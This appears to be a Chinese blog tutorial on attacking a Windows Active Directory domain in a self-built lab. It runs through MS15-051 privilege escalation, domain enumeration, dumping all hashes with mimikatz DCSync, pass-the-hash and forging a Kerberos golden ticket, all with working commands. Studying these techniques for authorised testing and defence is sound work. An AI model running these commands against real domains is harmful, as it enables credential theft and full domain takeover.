在取得授权的情况下,成功打入到一个企业的大型域环境,结果对域渗透不熟悉,导致进度卡壳。恰好手头有几台空闲的服务器,于是自己搭建了域环境进行学习,毕竟再不练习就真的就啥都不知道了

0x01 环境介绍

域环境搭建过程省略,网上可以找到很多类似的文章。搭建的环境有四台主机,一台域控,三台域主机。

域控:Win server 2012
域主机:Win10、Win server 2008、Win 7

文章主要记录一次完整的内网域渗透流程,突破口入侵省略,以上线CS的Win7域主机为起点。
CS

0x02 域环境信息收集

(一)、提权

(提权放在第一步是因为内网很多操作都需要管理员权限)
查询机器安装的补丁情况,通过在线工具查找可能存在的提权漏洞

获取机器补丁安装情况

systeminfo | findstr KB
KB

复制查询出的补丁号,通过以下在线网站进行漏洞查询
http://bugs.hacking8.com/tiquan
https://i.hacking8.com/tiquan
http://blog.neargle.com/win-powerup-exp-index

ms15051

可以看到可能存在MS15-051提权漏洞,利用后成功得到一个管理员权限的CS会话。
system

(二)、信息收集

查询当前登录域
net config workstation

查看域用户
net user /domain

查询域内所有计算机列表
net group "domain computers" /domain

查询当前时间,一般为域控
net time /domain

查看域控制器
net group "Domain Controllers" /domain
带&的为域控的机器名,可通过ping找到域控IP地址
workstation
domainuser
PC
TIME
DC

0x03 域渗透流程

1.取得权限的机器上有域管理员的信息

在域主机上通过mimikatz可以查询出域控的Hash值或者密码(这种情况比较少),说明域管理员曾经登录过该机器(修改配置都需要进行登录)

获取域内所有用户的Hash值,需管理权权限运行mimikatz
privilege::debug 
lsadump::dcsync /domain:god.org /all /csv
hash

此时可以直接通过mimikatz进行Hash传递,传递完成后会自动生成一个新的CMD窗口

sekurlsa::pth /user:administrator /domain:"anke.test" /ntlm:ab4a873b39a7e31e91e517198df53d6f
hash1

可以看到通过生成的CMD窗口能直接查询域控的C盘目录文件,之后利用PsExec.exe执行命令获取一个域控服务器的CMD窗口,ipconfig可以看到192.168.200.105正是上面时间服务器的IP,成功拿下域控权限。
DC2

2.取得权限的机器上没有域管理员的相关信息

这时候就需要通过其他方式进行渗透,比如通过横向渗透在其他域主机上寻找域管理员的信息、利用票据、利用其他漏洞等。
1)黄金票据

在域环境中,存在一个SID为502的域账号krbtgt。krbtgt是KDC服务使用的账号,属于Domain Admins >组。在域环境中,每个用户的账号票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NTLM Hash或者AES-256的值,就可以伪造域内任意用户的身份,并以该用户的身份访问其服务。

使用域的Golden Ticket(黄金票据)进行票据传递攻击时,需要掌握以下信息:

  • krbtgt的SID值
  • krbtgt的Hash值
  • 域管理员的用户名

在域主机上通过mimikatz获取Hash和SID(这里-502需要删除)

privilege::debug
lsadump::dcsync /user:krbtgt
krbtgt

在自己本地的机器上利用mimikatz生成票据

kerberos::golden /admin:administrator /domain:域名 /sid:SID /krbtgt:hash值 /ticket:文件名.kiribi

kerberos::golden /admin:administrator /domain:anke.test /sid:S-1-5-21-948049343-4079134984-305484938 /krbtgt:ed572a82485c06ea6b5a824810409246 /ticket:administrator.kiribi

ticket

生成后将票据上传至域主机,利用mimikatz导入进内存,导入成功后可以看到在域主机上能成功查询域控C盘目录文件,拿下域控。(PsExec只是一种方法,获取权限还有很多其他的方式)

kerberos::purge                      //清空当前机器中所有凭证
kerberos::list                       //查看当前机器凭证
kerberos::ptt administrator.kiribi   //将票据注入到内存中
kiribi